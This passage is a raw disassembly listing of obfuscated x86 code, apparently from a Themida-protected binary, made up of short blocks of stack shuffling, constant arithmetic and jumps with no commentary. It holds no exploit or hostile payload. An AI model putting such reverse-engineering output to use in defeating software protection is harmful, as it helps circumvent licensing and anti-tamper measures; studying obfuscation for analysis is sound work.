		and	eax, ecx
		push	dword ptr [esp]
		jmp	loc_56AD23
; ---------------------------------------------------------------------------


loc_55FAE9:				; CODE XREF: Themida_:005644D7j
		add	esp, 4
		push	eax
		mov	eax, 277D686Dh
		add	edi, eax
		pop	eax
		push	18B2h
		jmp	loc_56308E
; ---------------------------------------------------------------------------


loc_55FB02:				; CODE XREF: Themida_:00565769j
		pop	edi
		add	eax, 0C3D68472h
		push	ebx
		jmp	loc_570594
; ---------------------------------------------------------------------------


loc_55FB0E:				; CODE XREF: Themida_:00561F7Bj
		add	edi, eax
		pop	eax
		sub	eax, 0DBF2E6Eh
		sub	eax, edi
		add	eax, 0DBF2E6Eh
		push	dword ptr [esp]
		jmp	loc_572631
; ---------------------------------------------------------------------------


loc_55FB25:				; CODE XREF: Themida_:0056A88Ej
		add	eax, 6014233h
		push	esi
		mov	esi, 689D3C35h
		jmp	loc_564E42
; ---------------------------------------------------------------------------


loc_55FB35:				; CODE XREF: Themida_:00563AB2j
		pop	ebx
		inc	dl
		sub	dl, 0F5h
		not	dl
		push	ecx
		jmp	loc_5622F7
; ---------------------------------------------------------------------------


loc_55FB43:				; CODE XREF: Themida_:00570921j
		push	6A47h
		jmp	loc_56EA40
; ---------------------------------------------------------------------------


loc_55FB4D:				; CODE XREF: Themida_:0056E3B1j
		sub	eax, ebp
		push	ebp
		mov	ebp, 3C8E79F2h
		or	ebp, 40CB50A5h
		neg	ebp
		or	ebp, 3FB49F6h
		dec	ebp
		add	ebp, 0D1595F10h
		sub	eax, ebp
		pop	ebp
		jmp	loc_5631EE
; ---------------------------------------------------------------------------


loc_55FB72:				; CODE XREF: Themida_:0056BCA8j
		push	549h
		mov	[esp], esp
		jmp	loc_5655C6
; ---------------------------------------------------------------------------


loc_55FB7F:				; CODE XREF: Themida_:00573394j
		sub	edx, 0A1489FFh
		add	esi, edx
		pop	edx
		jmp	loc_563C20
; ---------------------------------------------------------------------------


loc_55FB8D:				; CODE XREF: Themida_:00573619j
		add	edi, esi
		sub	edi, 4E8D57AEh
		pop	esi
		jmp	loc_565DEB
; ---------------------------------------------------------------------------


loc_55FB9B:				; CODE XREF: Themida_:005703B4j
		mov	dword ptr [eax], 0
		pop	eax
		jmp	loc_571B98
; ---------------------------------------------------------------------------


loc_55FBA7:				; CODE XREF: Themida_:0056AC41j
		shr	ecx, 6
		jmp	loc_56F41B
; ---------------------------------------------------------------------------


loc_55FBAF:				; CODE XREF: Themida_:00561571j
		pop	dword ptr [esp]
		push	eax
		mov	eax, 4
		add	[esp+4], eax
		jmp	loc_56136D
; ---------------------------------------------------------------------------


loc_55FBC1:				; CODE XREF: Themida_:00570204j
		mov	[esp], ecx
		jmp	loc_56F82F
; ---------------------------------------------------------------------------


loc_55FBC9:				; CODE XREF: Themida_:00561047j
		pop	esp
		sub	esp, 4
		jmp	loc_573E83
; ---------------------------------------------------------------------------
		push	dword ptr [edi+1Ch]
		popf
		pop	cx
		rcl	dword ptr [esp], cl
		pushf
		jmp	loc_55F55C
; ---------------------------------------------------------------------------
		mov	cx, [esp]
		push	ecx
		mov	ecx, esp
		push	ebp
		mov	ebp, 9A96AF2h
		push	edi
		mov	edi, 7A5A34AAh
		push	edx
		mov	edx, 430C0C4Ah
		xor	edi, edx
		pop	edx
		jmp	loc_566221
; ---------------------------------------------------------------------------


loc_55FC02:				; CODE XREF: Themida_:00560015j
		add	esp, 4
		add	edi, 4
		jmp	loc_56B90B
; ---------------------------------------------------------------------------


loc_55FC13:				; CODE XREF: Themida_:0056E356j
		pop	esp
		shr	eax, 0Ah
		jmp	loc_5737C1
; ---------------------------------------------------------------------------


loc_55FC1C:				; CODE XREF: Themida_:0056D441j
		mov	ebx, 4BF84483h
		mov	esi, ebx
		pop	ebx
		jmp	loc_562561
; ---------------------------------------------------------------------------
		push	dword ptr [edi+1Ch]
		popf
		pop	ax
		sbb	[esp], ax
		pushf
		jmp	loc_55F55C
; ---------------------------------------------------------------------------


loc_55FC39:				; CODE XREF: Themida_:0056FF68j
		xchg	edx, [esp]
		pop	esp
		mov	[esp], edi
		mov	edi, 4
		add	ebx, edi
		mov	edi, [esp]
		add	esp, 4
		push	ecx
		mov	ecx, 2
		add	ebx, 1DDA75CAh
		add	ebx, ecx
		push	eax
		mov	eax, 788879A8h
		sub	eax, 73FE07F4h
		or	eax, 7D1765BDh
		add	eax, 0A03B000Dh
		sub	ebx, eax
		pop	eax
		pop	ecx
		xor	ebx, [esp]
		xor	[esp], ebx
		jmp	loc_56814F
; ---------------------------------------------------------------------------


loc_55FC82:				; CODE XREF: Themida_:0056E67Aj
		push	edi
		mov	edi, 4
		jmp	loc_568A98
; ---------------------------------------------------------------------------


loc_55FC8D:				; CODE XREF: Themida_:0056114Fj
		mov	ebx, 4F8F0392h
		sub	edx, ebx
		jmp	loc_56E477
; ---------------------------------------------------------------------------


loc_55FC99:				; CODE XREF: Themida_:00571DF2j
		add	esp, 4
		pop	dword ptr [esp]
		pop	esp
		jmp	loc_564D6C
; ---------------------------------------------------------------------------


loc_55FCA8:				; CODE XREF: Themida_:0057141Bj
		sub	ebx, eax
		add	ebx, 83C7437h
		sub	esp, 4
		jmp	loc_56A6CB
; ---------------------------------------------------------------------------


loc_55FCB8:				; CODE XREF: Themida_:005652C7j
		push	edx
		mov	edx, edi
		mov	esi, edx
		pop	edx
		jmp	loc_56DD62
; ---------------------------------------------------------------------------


loc_55FCC3:				; CODE XREF: Themida_:0056A1D1j
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp]
		pop	esp
		push	3EF6h
		jmp	loc_5647AC
; ---------------------------------------------------------------------------


loc_55FCDB:				; CODE XREF: Themida_:0056F862j
		mov	esp, [esp]
		push	dword ptr [esp]
		pop	eax
		push	8D6h
		mov	[esp], edi
		mov	edi, esp
		push	eax
		push	esi
		mov	esi, 2CD518A8h
		mov	eax, 46F31501h
		jmp	loc_565C98
; ---------------------------------------------------------------------------


loc_55FCFD:				; CODE XREF: Themida_:00565A13j
		push	ecx
		jmp	loc_5730BF
; ---------------------------------------------------------------------------


loc_55FD03:				; CODE XREF: Themida_:00567660j
		push	eax
		mov	eax, 389579D3h
		add	esi, eax
		pop	eax
		add	esi, ecx
		sub	esp, 4
		mov	[esp], edx
		mov	edx, 389579D3h
		sub	esi, edx
		jmp	loc_5642AB
; ---------------------------------------------------------------------------


loc_55FD20:				; CODE XREF: Themida_:005624C1j
		add	bl, 48h
		shl	bl, 5
		push	ax
		push	ecx
		mov	ch, 51h
		jmp	loc_573BD7
; ---------------------------------------------------------------------------


loc_55FD30:				; CODE XREF: Themida_:0056E3FBj
		mov	[esp], ebx
		jmp	loc_566053
; ---------------------------------------------------------------------------


loc_55FD38:				; CODE XREF: Themida_:0056FFE7j
		pop	esp
		mov	[esp], ebp
		push	edi
		pop	ebp
		pop	edi
		not	edi
		jmp	loc_568B1A
; ---------------------------------------------------------------------------


loc_55FD46:				; CODE XREF: Themida_:005709D0j
		pop	edx
		push	5D3Fh
		mov	[esp], ebx
		mov	ebx, 4
		sub	ecx, 706B7067h
		jmp	loc_571620
; ---------------------------------------------------------------------------


loc_55FD5F:				; CODE XREF: Themida_:00572B88j
		inc	esi
		sub	esi, 2B4A164Ch
		push	ebx
		mov	ebx, 39225506h
		sub	ebx, 1F033C67h
		dec	ebx
		sub	ebx, 179212FDh
		add	esi, ebx
		push	dword ptr [esp]
		pop	ebx
		add	esp, 4
		jmp	loc_567348
; ---------------------------------------------------------------------------
		mov	cx, [esp]
		jmp	loc_57007A
; ---------------------------------------------------------------------------


loc_55FD93:				; CODE XREF: Themida_:0056F01Cj
		pop	eax
		pop	edi
		push	ecx
		push	edx
		push	ecx
		mov	ecx, 6C9B0280h
		jmp	loc_5684C3
; ---------------------------------------------------------------------------


loc_55FDA2:				; CODE XREF: Themida_:0056B1ACj
		not	bl
		inc	bl
		sub	bl, 0A3h
		xor	bl, 23h
		inc	bl
		xor	bl, 0ECh
		jmp	loc_56B6D3
; ---------------------------------------------------------------------------
		mov	ax, [esp]
		push	6E41h
		mov	[esp], ebp
		mov	ebp, esp
		jmp	loc_572503
; ---------------------------------------------------------------------------


loc_55FDC9:				; CODE XREF: Themida_:00565B2Aj
		push	eax
		mov	ah, 0
		dec	ah
		dec	ah
		add	ah, 2Bh
		xor	bh, ah
		pop	eax
		add	bh, 9Ah
		jmp	loc_5660F2
; ---------------------------------------------------------------------------


loc_55FDDE:				; CODE XREF: Themida_:0056AC8Aj
		add	esi, 4
		add	esi, 4
		jmp	loc_56BA0A
; ---------------------------------------------------------------------------


loc_55FDEF:				; CODE XREF: Themida_:00571944j
		mov	esi, 4
		add	ecx, esi
		mov	esi, [esp]
		add	esp, 4
		push	ecx
		push	dword ptr [esp+4]
		pop	ecx
		pop	dword ptr [esp]
		pop	esp
		sub	ebx, 60F705B3h
		push	122Bh
		mov	[esp], esi
		push	1B82394Bh
		pop	esi
		push	edx
		mov	edx, 12461487h
		neg	edx
		push	esi
		mov	esi, 72AC080Fh
		or	esi, 657E0DDEh
		jmp	loc_561AB2
; ---------------------------------------------------------------------------


loc_55FE33:				; CODE XREF: Themida_:0056F325j
		push	ebp
		jmp	loc_56AD15
; ---------------------------------------------------------------------------


loc_55FE39:				; CODE XREF: Themida_:00560A5Aj
		pop	ecx
		jmp	loc_57076A
; ---------------------------------------------------------------------------


loc_55FE3F:				; CODE XREF: Themida_:00572D55j
		push	0
		sub	[esp], ecx
		pop	ecx
		push	ebx
		jmp	loc_573B07
; ---------------------------------------------------------------------------


loc_55FE4E:				; CODE XREF: Themida_:00564CCAj
		xor	edi, 677376Eh
		add	edx, 6CB21025h
		push	58E5h
		mov	[esp], ebp
		jmp	loc_565964
; ---------------------------------------------------------------------------


loc_55FE67:				; CODE XREF: Themida_:00566D70j
		mov	edi, 652B741Ah
		push	ebp
		jmp	loc_56A3C8
; ---------------------------------------------------------------------------


loc_55FE72:				; CODE XREF: Themida_:0056067Ej
		add	esi, ebp
		sub	esi, 2C017265h
		mov	ebp, [esp]
		jmp	loc_571431
; ---------------------------------------------------------------------------


loc_55FE82:				; CODE XREF: Themida_:0056FD1Dj
		pop	ebx
		jmp	loc_569A46
; ---------------------------------------------------------------------------


loc_55FE88:				; CODE XREF: Themida_:00563D0Cj
		add	esi, 4
		jmp	loc_57012F
; ---------------------------------------------------------------------------


loc_55FE93:				; CODE XREF: Themida_:0056CB7Fj
		pop	ecx
		shl	ecx, 7
		shl	ecx, 1
		jmp	loc_566BA8
; ---------------------------------------------------------------------------


loc_55FE9E:				; CODE XREF: Themida_:0056BD67j
		mov	[esp], eax
		push	4
		pop	eax
		add	ebp, eax
		push	dword ptr [esp]
		pop	eax
		push	eax
		push	esp
		mov	eax, [esp]
		jmp	loc_565329
; ---------------------------------------------------------------------------


loc_55FEB7:				; CODE XREF: Themida_:0056997Dj
		push	esi
		mov	esi, 1C8D73CAh
		jmp	loc_569B74
; ---------------------------------------------------------------------------


loc_55FEC2:				; CODE XREF: Themida_:00563F38j
		and	ecx, 3FFC414Bh
		sub	ecx, 0D361FFB9h
		jmp	loc_572499
; ---------------------------------------------------------------------------


loc_55FED3:				; CODE XREF: Themida_:0056C5DFj
		push	eax
		jmp	loc_564B7A
; ---------------------------------------------------------------------------


loc_55FED9:				; CODE XREF: Themida_:00573B31j
		xor	ebp, ecx
		jmp	loc_56DAA9
; ---------------------------------------------------------------------------


loc_55FEE0:				; CODE XREF: Themida_:00560C97j
		mov	eax, 733D3CE0h
		jmp	loc_5732C0
; ---------------------------------------------------------------------------


loc_55FEEA:				; CODE XREF: Themida_:0056A299j
		pop	edi
		add	esi, ebx
		pop	ebx
		push	ecx
		push	720A11EFh
		mov	ecx, [esp]
		push	edx
		mov	edx, esp
		add	edx, 4
		jmp	loc_56FA1F
; ---------------------------------------------------------------------------


loc_55FF05:				; CODE XREF: Themida_:00570581j
		add	edx, 77250EFEh
		sub	edx, ebx
		jmp	loc_568B91
; ---------------------------------------------------------------------------


loc_55FF12:				; CODE XREF: Themida_:0056376Cj
		mov	edi, [esp]
		push	eax
		push	esp
		pop	eax
		jmp	loc_567AC4
; ---------------------------------------------------------------------------


loc_55FF1D:				; CODE XREF: Themida_:00564D1Aj
		xchg	edx, [esp]
		pop	esp
		add	ebp, 4
		sub	ebp, 4
		xor	ebp, [esp]
		xor	[esp], ebp
		xor	ebp, [esp]
		jmp	loc_57464E
; ---------------------------------------------------------------------------


loc_55FF38:				; CODE XREF: Themida_:005716C8j
		xchg	ebp, [esp]
		mov	esp, [esp]
		movzx	ecx, al
		push	59DBh
		mov	[esp], ecx
		jmp	loc_55F55C
; ---------------------------------------------------------------------------


loc_55FF4E:				; CODE XREF: Themida_:0056C7FEj
		push	ebx
		jmp	loc_56C6E4
; ---------------------------------------------------------------------------


loc_55FF54:				; CODE XREF: Themida_:005609F4j
		add	esp, 4
		mov	edi, eax
		pop	eax
		sub	edi, 35AA47ABh
		push	0
		sub	[esp], edi
		pop	edi
		jmp	loc_56E43D
; ---------------------------------------------------------------------------


loc_55FF6E:				; CODE XREF: Themida_:00560CCDj
		dec	eax
		add	eax, 54F65CF9h
		add	ebx, eax
		pop	eax
		jmp	loc_566FED
; ---------------------------------------------------------------------------


loc_55FF7C:				; CODE XREF: Themida_:0056D5BAj
		add	ebx, 62BF1A0Fh
		mov	ebp, [esp]
		push	esi
		mov	esi, esp
		jmp	loc_571405
; ---------------------------------------------------------------------------


loc_55FF8D:				; CODE XREF: Themida_:00566529j
		push	ecx
		mov	ecx, 4
		add	edx, ecx
		pop	ecx
		xchg	edx, [esp]
		mov	esp, [esp]
		push	dword ptr [esp]
		pop	ecx
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		push	edx
		jmp	loc_572DD1
; ---------------------------------------------------------------------------


loc_55FFAF:				; CODE XREF: Themida_:00570FA6j
		sub	eax, 2CC91203h
		sub	eax, 886A6809h
		or	ebp, eax
		pop	eax
		and	ebp, 7AE381Ah
		sub	esp, 4
		mov	[esp], eax
		jmp	loc_574585
; ---------------------------------------------------------------------------


loc_55FFD0:				; CODE XREF: Themida_:0056ACAFj
		add	ebx, 3E190F9Ch
		jmp	loc_56E103
; ---------------------------------------------------------------------------


loc_55FFDB:				; CODE XREF: Themida_:0057276Fj
		neg	edx
		xor	edx, 64290DD0h
		sub	edi, 372F4C1Fh
		add	edi, edx
		add	edi, 372F4C1Fh
		mov	edx, [esp]
		add	esp, 4
		push	esi
		push	ebx
		jmp	loc_567A1C
; ---------------------------------------------------------------------------


loc_560001:				; CODE XREF: Themida_:0056A803j
		pop	dx
		mov	cl, [esp]
		add	esp, 2
		push	eax
		jmp	loc_573C56
; ---------------------------------------------------------------------------


loc_56000F:				; CODE XREF: Themida_:0056CAB8j
		add	edi, esi
		push	dword ptr [esp]
		pop	esi
		jmp	loc_55FC02
; ---------------------------------------------------------------------------


loc_56001A:				; CODE XREF: Themida_:0056A401j
		push	edx
		jmp	loc_56B44C
; ---------------------------------------------------------------------------


loc_560020:				; CODE XREF: Themida_:005708DDj
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		xor	edi, [esp]
		xor	[esp], edi
		xor	edi, [esp]
		pop	esp
		or	eax, eax
		jz	loc_571388
		push	dword ptr [edi+1Ch]
		push	1A0Bh
		mov	[esp], ecx
		mov	ecx, 38B84001h
		sub	[esp+4], ecx
		pop	ecx
		mov	ecx, [esp]
		push	edx
		push	esp
		jmp	loc_56F9BC
; ---------------------------------------------------------------------------


loc_56005F:				; CODE XREF: Themida_:0056F48Aj
		push	edi
		jmp	loc_5663AD
; ---------------------------------------------------------------------------


loc_560065:				; CODE XREF: Themida_:0056EC48j
		add	esp, 4
		mov	bx, [esp]
		add	esp, 2
		push	505Eh
		mov	[esp], ebp
		push	esp
		mov	ebp, [esp]
		jmp	loc_561EF3
; ---------------------------------------------------------------------------


loc_560086:				; CODE XREF: Themida_:005626F9j
		add	ebx, ebp
		jmp	loc_566FDE
; ---------------------------------------------------------------------------


loc_56008D:				; CODE XREF: Themida_:00568F55j
		pop	esp
		mov	[esp], eax
		jmp	loc_56B5F2
; ---------------------------------------------------------------------------


loc_560096:				; CODE XREF: Themida_:00571E1Aj
		pop	dword ptr [esp]
		mov	esp, [esp]
		imul	cx
		push	15DEh
		mov	[esp], ebx
		push	6FB2h
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	ebx
		jmp	loc_573CB1
; ---------------------------------------------------------------------------


loc_5600B9:				; CODE XREF: Themida_:0056D7C1j
		mov	bx, [esp]
		push	esi
		push	esp
		mov	esi, [esp]
		add	esp, 4
		add	esi, 4
		add	esi, 2
		xchg	esi, [esp]
		mov	esp, [esp]
		pop	small word ptr [esp]
		sub	esp, 2
		mov	[esp], bx
		push	small 12D3h
		mov	[esp], bp
		mov	bx, [esp]
		push	598Eh
		mov	[esp], eax
		mov	eax, esp
		add	eax, 4
		jmp	loc_5724B0
; ---------------------------------------------------------------------------


loc_5600FF:				; CODE XREF: Themida_:0056E0A4j
		pop	dword ptr [esp]
		sub	esp, 4
		mov	[esp], ebx
		push	edx
		mov	edx, 4
		jmp	loc_572C2A
; ---------------------------------------------------------------------------


loc_560113:				; CODE XREF: Themida_:00564ED7j
		mov	ecx, 19407CEh
		add	ecx, 94F60DBh
		add	ecx, 1
		add	ecx, 487B1222h
		add	ecx, 0ACA185B4h
		mov	edx, ecx
		jmp	loc_5742E3
; ---------------------------------------------------------------------------


loc_560137:				; CODE XREF: Themida_:0056F83Fj
		mov	ebx, ecx
		pop	ecx
		push	esi
		push	7EC21307h
		pop	esi
		jmp	loc_56AE1C
; ---------------------------------------------------------------------------


loc_560146:				; CODE XREF: Themida_:005642C7j
		mov	[esp], ebx
		push	esp
		pop	ebx
		add	ebx, 4
		sub	ebx, 4
		xchg	ebx, [esp]
		mov	esp, [esp]
		mov	[esp], ecx
		push	edi
		push	692E2B1Ah
		pop	edi
		or	edi, 55FD4E67h
		sub	edi, 7DFF6F7Fh
		mov	ecx, edi
		jmp	loc_561D06
; ---------------------------------------------------------------------------


loc_560177:				; CODE XREF: Themida_:00573317j
		sub	ebp, 8A605A90h
		sub	eax, ebp
		pop	ebp
		add	eax, ebp
		push	ebp
		mov	ebp, 637570C2h
		add	eax, ebp
		pop	ebp
		jmp	loc_5656D1
; ---------------------------------------------------------------------------


loc_560190:				; CODE XREF: Themida_:0056A7E8j
		shr	ebp, 5
		not	ebp
		xor	ebp, 0B5A75003h
		and	esi, ebp
		mov	ebp, [esp]
		add	esp, 4
		jmp	loc_5671B4
; ---------------------------------------------------------------------------


loc_5601AB:				; CODE XREF: Themida_:00568D50j
		pop	esp
		idiv	cl
		jmp	loc_566665
; ---------------------------------------------------------------------------


loc_5601B3:				; CODE XREF: Themida_:00572BB0j
		mov	ebp, edx
		pop	edx
		mov	esi, ebp
		pop	ebp
		pop	edi
		xor	eax, esi
		mov	esi, [esp]
		jmp	loc_563817
; ---------------------------------------------------------------------------


loc_5601C4:				; CODE XREF: Themida_:00563BDDj
		pop	ecx
		add	ecx, 4
		push	edi
		jmp	loc_56B9D2
; ---------------------------------------------------------------------------


loc_5601D1:				; CODE XREF: Themida_:00566B40j
		not	cl
		inc	cl
		and	cl, 0F9h
		push	edx
		push	ebx
		mov	bh, 9Ah
		jmp	loc_56EAA7
; ---------------------------------------------------------------------------


loc_5601E1:				; CODE XREF: Themida_:005659EDj
		mov	[esp], bp
		mov	bp, 3B3Ah
		or	dx, bp
		jmp	loc_568D80
; ---------------------------------------------------------------------------


loc_5601F1:				; CODE XREF: Themida_:005634B6j
		pop	dword ptr [esp]
		pop	esp
		pop	dword ptr [esp]
		pop	esp
		mov	cx, [esp]
		push	7176h
		jmp	loc_5679B5
; ---------------------------------------------------------------------------


loc_560207:				; CODE XREF: Themida_:00568558j
		mov	esp, [esp]
		jmp	loc_56E654
; ---------------------------------------------------------------------------


loc_56020F:				; CODE XREF: Themida_:00563874j
		sub	edx, esi
		add	edx, 4FF32D82h
		push	esi
		mov	esi, 2DC62AEFh
		neg	esi
		jmp	loc_5744E1
; ---------------------------------------------------------------------------


loc_560224:				; CODE XREF: Themida_:0056B113j
		pop	dx
		push	eax
		jmp	loc_5703D8
; ---------------------------------------------------------------------------


loc_56022C:				; CODE XREF: Themida_:005731C7j
		mov	ebp, [esp]
		push	edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		jmp	loc_5609AA
; ---------------------------------------------------------------------------


loc_560240:				; CODE XREF: Themida_:00565D41j
		xor	eax, [esp]
		xor	[esp], eax
		jmp	loc_569240
; ---------------------------------------------------------------------------


loc_56024B:				; CODE XREF: Themida_:00560E68j
		xor	edx, 0F612A78h
		xor	edx, 3942E67Bh
		add	ecx, edx
		pop	edx
		add	ecx, edi
		pop	edi
		and	eax, ecx
		mov	ecx, [esp]
		push	916h
		mov	[esp], ebx
		jmp	loc_56E02B
; ---------------------------------------------------------------------------


loc_56026F:				; CODE XREF: Themida_:00561023j
		push	ecx
		neg	dword ptr [esp]
		pop	ecx
		neg	ecx
		xor	ecx, 73CA38B4h
		mov	ebx, ecx
		pop	ecx
		add	ebp, ebx
		jmp	loc_56F63A
; ---------------------------------------------------------------------------


loc_560286:				; CODE XREF: Themida_:0056745Bj
		add	ecx, ebx
		add	ecx, 72737400h
		push	dword ptr [esp]
		pop	ebx
		push	eax
		push	esp
		pop	eax
		add	eax, 4
		add	eax, 4
		push	eax
		jmp	loc_56BCD3
; ---------------------------------------------------------------------------


loc_5602A5:				; CODE XREF: Themida_:0056F1CCj
		pop	ebx
		add	ebx, 61A24B8Bh
		inc	ebx
		add	ebx, 49F4D601h
		mov	ecx, ebx
		jmp	loc_566C8B
; ---------------------------------------------------------------------------


loc_5602BA:				; CODE XREF: Themida_:00572C25j
		mov	bh, ch
		pop	ecx
		mov	ch, bh
		pop	ebx
		push	cx
		jmp	loc_567568
; ---------------------------------------------------------------------------


loc_5602C7:				; CODE XREF: Themida_:00562835j
		mov	esi, ebx
		jmp	loc_570110
; ---------------------------------------------------------------------------


loc_5602CE:				; CODE XREF: Themida_:0056DB24j
		mov	eax, esp
		push	ecx
		mov	ecx, 5617457Ch
		jmp	loc_560454
; ---------------------------------------------------------------------------


loc_5602DB:				; CODE XREF: Themida_:00566798j
		add	esp, 4
		sub	ebp, edi
		push	dword ptr [esp]
		jmp	loc_56A55C
; ---------------------------------------------------------------------------


loc_5602EB:				; CODE XREF: Themida_:0056A972j
		push	dword ptr [esp]
		pop	ebx
		add	esp, 4
		or	edx, 791B6767h
		jmp	loc_5671BE
; ---------------------------------------------------------------------------


loc_560300:				; CODE XREF: Themida_:00566322j
		mov	[esp], ebx
		push	ecx
		push	dword ptr [esp]
		jmp	loc_5637C0
; ---------------------------------------------------------------------------


loc_56030C:				; CODE XREF: Themida_:0056E4A3j
		pop	edx
		sub	dh, ch
		pop	ecx
		push	small 3896h
		mov	[esp], ax
		jmp	loc_566D8E
; ---------------------------------------------------------------------------


loc_56031D:				; CODE XREF: Themida_:00570F06j
		not	esi
		jmp	loc_56672A
; ---------------------------------------------------------------------------


loc_560324:				; CODE XREF: Themida_:00570657j
		push	775Eh
		mov	[esp], edi
		mov	edi, 3B64179Ah
		sub	[esp+8], edi
		pop	edi
		jmp	loc_5732A7
; ---------------------------------------------------------------------------


loc_56033B:				; CODE XREF: Themida_:0056F7F5j
		add	ebp, 4
		add	ebp, 2
		push	ebp
		jmp	loc_573718
; ---------------------------------------------------------------------------


loc_56034D:				; CODE XREF: Themida_:005647C2j
		push	esp
		jmp	loc_566CCE
; ---------------------------------------------------------------------------


loc_560353:				; CODE XREF: Themida_:00571953j
		pop	ecx
		push	edi
		push	ebp
		mov	ebp, 76C440D8h
		mov	edi, ebp
		jmp	loc_561C5F
; ---------------------------------------------------------------------------


loc_560362:				; CODE XREF: Themida_:00560BA4j
		push	dword ptr [esp+4]
		pop	eax
		jmp	loc_56E5EB
; ---------------------------------------------------------------------------


loc_56036C:				; CODE XREF: Themida_:005736AAj
		sub	ecx, 1DDF00FCh
		jmp	loc_56A22E
; ---------------------------------------------------------------------------


loc_560377:				; CODE XREF: Themida_:005737CEj
		mov	[esp], ebx
		mov	eax, [esp]
		jmp	loc_56144A
; ---------------------------------------------------------------------------


loc_560382:				; CODE XREF: Themida_:0056725Bj
		pop	edi
		add	edi, 7F2F2060h
		sub	edi, 0BA9F6B80h
		mov	edx, edi
		pop	edi
		add	ecx, 71D37714h
		add	ecx, edx
		push	eax
		mov	eax, 7C507453h
		sub	eax, 26C8697Eh
		neg	eax
		and	eax, 1B236CB2h
		jmp	loc_5709C6
; ---------------------------------------------------------------------------


loc_5603B1:				; CODE XREF: Themida_:00564DDBj
		xchg	edi, [esp]
		pop	esp
		mov	[esp], edx
		mov	dl, 53h
		sub	bl, 0F6h
		sub	bl, dl
		push	ecx
		push	eax
		mov	al, 20h
		mov	ch, 3Ah
		sub	ch, al
		pop	eax
		sub	ch, 0BEh
		jmp	loc_5657ED
; ---------------------------------------------------------------------------


loc_5603D0:				; CODE XREF: Themida_:00564BECj
		push	edi
		push	edx
		mov	edx, 5B7714AAh
		jmp	loc_56D246
; ---------------------------------------------------------------------------


loc_5603DC:				; CODE XREF: Themida_:005715F6j
		push	small 0E8Dh
		mov	[esp], cx
		sub	esp, 4
		mov	[esp], eax
		mov	ah, 17h
		sub	esp, 4
		jmp	loc_56637A
; ---------------------------------------------------------------------------


loc_5603FA:				; CODE XREF: Themida_:00567A0Bj
		mov	[esp], ecx
		push	dword ptr [esp]
		pop	eax
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp]
		jmp	loc_564B15
; ---------------------------------------------------------------------------


loc_560418:				; CODE XREF: Themida_:005742DEj
		pop	ebp
		push	edx
		mov	edx, esp
		add	edx, 4
		sub	edx, 4
		xchg	edx, [esp]
		pop	esp
		mov	[esp], edi
		push	edx
		mov	edx, 48933977h
		or	edx, 6DC5FA7h
		or	edx, 491A1592h
		or	edx, 3288726Ah
		sub	edx, 7FDF7FFBh
		mov	edi, edx
		jmp	loc_56C818
; ---------------------------------------------------------------------------


loc_560454:				; CODE XREF: Themida_:005602D6j
		sub	ecx, 0F9E7B23h
		dec	ecx
		xor	ecx, 4678CA5Ch
		push	ecx
		mov	ecx, 728F6590h
		add	eax, ecx
		jmp	loc_56BE6F
; ---------------------------------------------------------------------------


loc_56046E:				; CODE XREF: Themida_:00569540j
		mov	esp, [esp]
		mov	[esp], ecx
		mov	ecx, esp
		add	ecx, 4
		push	0A89h
		mov	[esp], eax
		mov	eax, 4
		add	ecx, eax
		jmp	loc_56A673
; ---------------------------------------------------------------------------


loc_560490:				; CODE XREF: Themida_:00563848j
		mov	esi, 4
		jmp	loc_56484D
; ---------------------------------------------------------------------------


loc_56049A:				; CODE XREF: Themida_:00570B0Aj
		add	esi, 59E1C99Eh
		jmp	loc_56B0C3
; ---------------------------------------------------------------------------


loc_5604A5:				; CODE XREF: Themida_:005662A8j
		add	esp, 4
		jmp	loc_5699E1
; ---------------------------------------------------------------------------


loc_5604AD:				; CODE XREF: Themida_:005679E3j
					; Themida_:0056DD54j ...
		sub	esp, 4
		mov	[esp], ebx
		mov	eax, [esp]
		jmp	loc_560EF6
; ---------------------------------------------------------------------------


loc_5604BB:				; CODE XREF: Themida_:005699A8j
		push	dword ptr [esp]
		pop	edx
		add	esp, 4
		jmp	loc_56E239
; ---------------------------------------------------------------------------


loc_5604C7:				; CODE XREF: Themida_:005716BFj
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp]
		pop	esp
		push	2363h
		mov	[esp], edx
		push	esp
		pop	edx
		push	17C8h
		mov	[esp], esi
		jmp	loc_5656B9
; ---------------------------------------------------------------------------


loc_5604EC:				; CODE XREF: Themida_:00567B87j
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		push	eax
		push	dword ptr [esp+4]
		pop	eax
		pop	dword ptr [esp]
		mov	esp, [esp]
		xchg	edi, [esp]
		pop	esp
		movsx	cx, al
		push	esi
		mov	esi, esp
		push	edx
		mov	edx, 7D1F15E2h
		sub	edx, 2DEB1462h
		jmp	loc_568285
; ---------------------------------------------------------------------------


loc_560520:				; CODE XREF: Themida_:0056347Bj
		add	ax, 5DD7h
		sub	ax, 684Ch
		jmp	loc_567E44
; ---------------------------------------------------------------------------


loc_56052D:				; CODE XREF: Themida_:0056E067j
		push	edi
		jmp	loc_56ADBA
; ---------------------------------------------------------------------------


loc_560533:				; CODE XREF: Themida_:00568C64j
		mov	ebx, 228F4526h
		xor	ebx, 3BF21124h
		push	ebx
		jmp	loc_569D86
; ---------------------------------------------------------------------------


loc_560544:				; CODE XREF: Themida_:00565BD7j
		pop	esi
		pop	ecx
		and	eax, esi
		push	dword ptr [esp]
		jmp	loc_56F119
; ---------------------------------------------------------------------------


loc_560550:				; CODE XREF: Themida_:005612E3j
		push	edx
		mov	dh, 96h
		or	dh, 5Fh
		jmp	loc_570241
; ---------------------------------------------------------------------------


loc_56055B:				; CODE XREF: Themida_:00566F07j
		add	dword ptr [esp], 4
		pop	ebp
		jmp	loc_56EB72
; ---------------------------------------------------------------------------


loc_560568:				; CODE XREF: Themida_:0056BE32j
		push	edi
		push	eax
		jmp	loc_55F988
; ---------------------------------------------------------------------------


loc_56056F:				; CODE XREF: Themida_:005740E4j
		mov	[esp], eax
		mov	eax, esp
		add	eax, 4
		jmp	loc_565158
; ---------------------------------------------------------------------------


loc_56057E:				; CODE XREF: Themida_:0056D241j
		mov	[esp], ebp
		push	ecx
		mov	ecx, 2123F40h
		jmp	loc_5617F8
; ---------------------------------------------------------------------------


loc_56058C:				; CODE XREF: Themida_:00564016j
		add	eax, 6F5F130Ah
		jmp	loc_565E94
